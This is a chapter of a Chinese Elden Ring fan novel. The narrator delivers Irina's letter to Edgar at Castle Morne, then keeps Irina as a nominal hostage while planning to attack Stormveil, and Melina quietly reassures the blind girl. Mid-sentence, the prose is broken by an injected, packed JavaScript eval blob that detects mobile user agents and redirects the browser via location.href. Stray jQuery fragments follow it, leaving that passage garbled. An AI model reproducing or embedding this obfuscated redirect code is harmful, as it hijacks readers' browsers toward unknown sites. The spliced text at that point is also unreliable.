17. 摩恩城

作品:《是谷雨不是癫火

    超奇怪的褪色者正在攻城。


    我也不知道我一送信的,怎么就变成了摩恩城内战双方的共同敌人。


    啜泣半岛这个地方,一周目的我并没怎么涉足,单纯的我听信了白面具的话,百分百跟着赐福指引的方向走,结果就是一头撞进史东薇尔城,和守门的恶兆死磕到底。


    磕都磕下来了,史东薇尔城不打就亏了,等打完史东薇尔城,我又因为某些原因直接朝着东去往盖利德,打穿盖利德后回史东薇尔城修整,随后径直横穿利耶尼亚,坐落中心的雷亚卢卡利亚学院又耗费了我不少时间,再随后就北上亚坛高原,距离最南边的啜泣半岛就更远了。


    正常情况下,哪有那么多的时机刚刚好,能遇上支线任务呢?一周目的我在没有网络、论坛、第三视角的情况下,完全是一头雾水地在棋盘上被推着走,要不是后来掀了桌子,指不定还是什么下场。


    扯远了,总之我对啜泣半岛可以说是九成九陌生,剩下的零点一成,来自于一周目后在网络上了解的只言片语。


    ……所以还是得攻城是吗?


    攻城,我熟啊,史东薇尔城和王城罗德尔相当有发言权。


    我忧郁地叹了口气,随后拍了拍托雷特,蛇皮走位绕开气势汹汹射过来的攻城矛,一路二段跳加俯冲踏进摩恩城的护城门。


    叛乱已经持续了一段时日,摩恩城的抵抗比我想象中来的弱很多,进门随处可见城区内高高堆起的尸体,墙上也到处是泼溅的血迹,令人作呕的腐烂与熟肉的味道吸引了一群食腐生物聚集,我将周身的魔砾群开到最大,堪称是不计成本地一路平推了过去。


    事实证明我这个反应是对的,褪色者气势汹汹自正门杀入,里面守城将士和混种仆人正打成一锅粥,但他们看到我的第一反应都是:褪色者?打!


    对的,不受赐福的褪色者就是这么不受欢迎啦。


    连绵的雨让人的心情也压抑得很,我面无表情地一脚踹开残血的混种,再一法杖敲晕杀红了眼的士兵,内心毫无波动。


    “你们城主人呢。”我踩着士兵掉落的头盔碾了碾,“不说?”


    士兵怒吼一声,小股风暴从他脚下炸开。


    “小春,没有用,”梅琳娜的声音在我耳边响起,“这些士兵已经没有神志了。”


    我后退的动作猛地变成了后空翻:“……啊?哦,好的。”


    下意识地去摸背上的兜帽,默默地扣在头上。


    这好像是梅琳娜第一次叫我名字耶。


    我努力不让嘴角上扬的过于明显,至于被雨淋得糟糕透了的心情?


    诸君,从今天开始我超喜欢下雨的!


    咳咳咳,我没有再手下留情,将整个城堡对着我举起武器的全部放倒后,几乎是用飘的登上了堡垒顶部。


    对堡垒认知几乎没有的我分不清什么瞭望台,城墙塔,只觉得这片视野最好,兵力分布也更容易延展开,是一个适合指挥官的位置。


    果然,只有这一片没有混种和士兵的混战,一个穿着一看就很贵的寒光铠甲的男人正大刀金马地坐在那里。


    他没带头盔,脸上全是胡渣,守城的疲惫似乎即将把他压垮,在我看过去时,前一秒还垂着头喘息的男人敏锐地顺着视线扫过来:“谁?!”


    我从藏身的掩体处走出,助跑,跳跃,稳稳地落在了那个平台上。


    “褪色者?”他的瞳孔微微收缩,却没有像一路上的士兵一样举起武器,反而微微颔首:“先前没见过你,我叫艾德格,奉葛瑞克大人之名,固守这座城——但你也看到了现在的窘态,本以为他们安分工作,没想到是障眼法,真是……”


    他似乎想说什么不太礼貌的话,但在注意到我兜帽下露出的,似乎与她女儿同龄的脸,又没有说下去,转而抱歉道:“……对你很不好意思,即使你有任何请托,摩恩城也无法回应。”


    “您是一位好城主。”我说着,递出了一路妥善保管的东西,“我并没有请托,只是替一个人送信。”


    他的视线落在丝绢上,上面的血迹刺目,他有些失礼地从我手中夺走它,展开一目十行读过后,微微松了口气,才对我告了一声歉,从头慢慢看起来。


    “谢谢你照顾我的女儿,只是我还不能离开。”看完信,大致知晓事情经过的艾德格递给我一个东西:“即使城已失守,作为掌权者还是有事情做,那把剑,摩恩城的无价之宝,决不能落入玷污者的手里,你如果见到伊蕾娜,请转告她,等到该尽的责任完了,父亲一定会去接她……这是一点谢礼。”


    一束牺牲细枝,珍贵,也很适合褪色者,不过对一命通关的我没用。


    我什么也没说,收起树枝对他一点头,转头就走。


    艾德格有错吗,他甚至是一位值得尊敬的守城之主,伊蕾娜有错吗,她也只是希望父亲能够平安。


    谁都没有错,只是前者不知道,假如没有我的介入,后者会在等候他到来的时候,在路边被不知道谁随意地杀害,行凶者或许是他口中的“玷污者”混种,或许是他守护的这座半岛的城民。


    毕竟杀害一个没有武力的,柔弱的,盲眼的贵族小姐,只需要一刀。


    “已是回天乏术……”


    那个女孩就那样倒在豁口的巨斧之下啊,她什么都看不到,得有多痛,又有多怕呢?后来出现的海妲,一次一次向我祈求夏波利利的葡萄的时候,有没有过曾经那一次死去的记忆呢?


    艾德格或许醒悟了,解决了城内事物后守诺去接女儿的他在女儿的尸体前哭着说“我都做了什么”的时候,大约是后悔与憎恨着自己的,于是才有了复仇者破屋,才有了后来与海妲接触过后莫名频繁截杀我的红灵。


    毕竟,吞够足够的夏玻利利葡萄,成为三指女巫的海妲就再也无法回头,注定要在癫火诞生时死去。


    一切都串起来了。


    我抬头看了一眼淅淅沥沥的天,觉得好了没多久的心情迅速地又差了下来。


    我不由得叫道:“梅琳娜,梅琳娜?”


    “什么事?”


    我松口气:“没什么,就是叫叫你。”


    大约是雨的确太过凄苦,梅琳娜难得地多说了几句:“嗯,我在。”


    我没有再扣上兜帽,也没有再继续在城内探下去,反而顺着原路返回,径直出了摩恩城。


    “摩恩城我不打了,那个城主有责任有能力,那把武器足够他平息动乱,”我像是说给梅琳娜听:“我有更重要的事情要去做。”


    伊蕾娜的信是提前写好的,而我带离伊蕾娜是临时起意,联系看完信后艾德格对我说的“假如再见到她,请你……”,伊蕾娜应当没有交代她最近的去处在我这。


    艾德格并不知道她的女儿已经被我带走,甚至还以为伊蕾娜还在原地等他,不然在给出谢礼时,不会只给作为跑腿费刚刚好的一束牺牲细枝——收留一位贵族小姐是一件很费钱的、且吃力不讨好的事,这是将举手之劳的帮助变成了需要时刻上心的责任,没有哪个冤大头会这么做。


    当然,真的这么做了的冤大头本人是不会告诉他这件事的。


    既然他们谁都没有错,就让我做那个坏人吧。


    ……


    “——接下来准备进攻史东薇尔城,以防摩恩城那位事业心极强的城主带兵回援,伊蕾娜我扣下了,”我深沉道:“另外,我决定封锁伊蕾娜的消息,必要时作为制约摩恩城的人质。”


    新上任的人质伊蕾娜裹着柔软的披肩,坐在唯一能遮阳的位置,捧着全村最好的水杯在喝水,听到和自己相关的话题,困惑地抬起头。


    “……”伽列嘴巴张了下,欲言又止,可疑地沉默了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398413|168658||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会,问道:“道理我都懂,我只有一个问题。”


    “如果你要问为什么你又坐在这里参加内部会议的话,我也不知道,好了你还有什么问题。”


    “不是这个,”他表情奇怪:“我想知道你之前所说的,【住所会有的】这句话,莫非是——”


    “对啦,”我爽快地承认了,“就是史东薇尔城。”


    我转头拍了拍吓傻了的柏克:“柏克你再等等,我打下来之后住所就有了。”


    然后我又看向伊蕾娜,温声细语道:“不好意思你再委屈几天,马上给你换一个大的城堡住。”


    伽列:“……你没发现他们都被你吓傻了吗。”


    “啊,是吗?”我歪了下头,“可你反应很平淡。”


    “那当然是因为我的内心早就经历过更震撼的信息冲刷,”伽列语焉不详道:“任何事从你做出来我都不意外。”


    我战术后仰,这就是见多识广的流浪商人吗?


    “不过你们接受度这么高,这是我没想到的,居然没一个觉得我在说大话哎。”


    那可是史东薇尔城,半神血脉,接肢葛瑞克的领地。


    “因为,”最晚来的伊蕾娜似乎并没有被我刚刚毫不避讳的“人质”发言影响到,柔声指出:“除了啜泣半岛,您已经打下整个宁姆格福,只剩向主城进军了。”


    回过神的柏克也不由得点头,双手交握胸前:“吾主是我见过的,最骁勇善战的褪色者。”


    所有人看向空着的空气位置。


    那是我们默认给梅琳娜留的位置。


    四双眼睛注视下,梅琳娜现身,怎么看怎么无奈:“嗯。”


    好耶,今天诱导的梅琳娜出现指标也达成啦!


    我露出心满意足的微笑。


    ……


    当夜,流浪商人在调试乐器,闲着没事的褪色者拖着下巴正在外行指导内行。


    累了一天的亚人靠着墙角打盹。


    伊蕾娜没有入睡。


    “夜安。”


    “……梅琳娜女士?”她听出了声音的主人,却越发诧异了。


    “嗯,”梅琳娜的声音很轻,像是为了不让谁听到:“她入城时,受到了所有的叛乱者与士兵的优先攻击。”


    “是?”伊蕾娜仍旧没有理解她的来意。


    “她的习惯,会将主动攻击者废除行动能力,缴获武器,夺取全部卢恩。”


    “……是的?”伊蕾娜觉得自己隐隐抓到了什么。


    未现身的女巫却不再多说了,如同出现一样,悄无声息地没了痕迹。


    伊蕾娜慢慢地皱起了眉。


    带着目盲的缺陷还能从动乱中安然逃出,在心思不明的仆从、恶意满满的叛军、无法确认忠心的护卫,以及全然陌生的环境中成为唯一的幸存者,最后甚至能在过往行人中,精准地找到最合适的人求救,伊蕾娜无疑与“天真”、“蠢笨”搭不上边。


    她是机敏的,聪慧的。


    不远处的篝火旁,传来了褪色者的笑声与流浪商人气急败坏的说话声,近一点,睡眠质量好到这都没醒的亚人小声打着呼噜,眼盲的少女抽丝剥茧地串联起了信息,不由自主地微笑了起来。


    她已经明了女巫的来意。


    褪色者说,她送了信便没有停留。


    女巫却悄悄告诉她,城堡中除了唯一的首领,皆已由被迫防御的褪色者解决。


    如今摩恩城只剩城主与叛乱之首,而伊蕾娜深知,在一对一的条件下,她的城主父亲必不可能会输。


    女巫的两句话,是为排解她的担忧,更是……不让她对褪色者心生但凡一丁点的误解与怨愤。


    甚至方式都是那么的含蓄。


    “我当然知道,女士。”盲眼的少女微笑着,轻声说:“能与春相遇,伊蕾娜心怀感激。”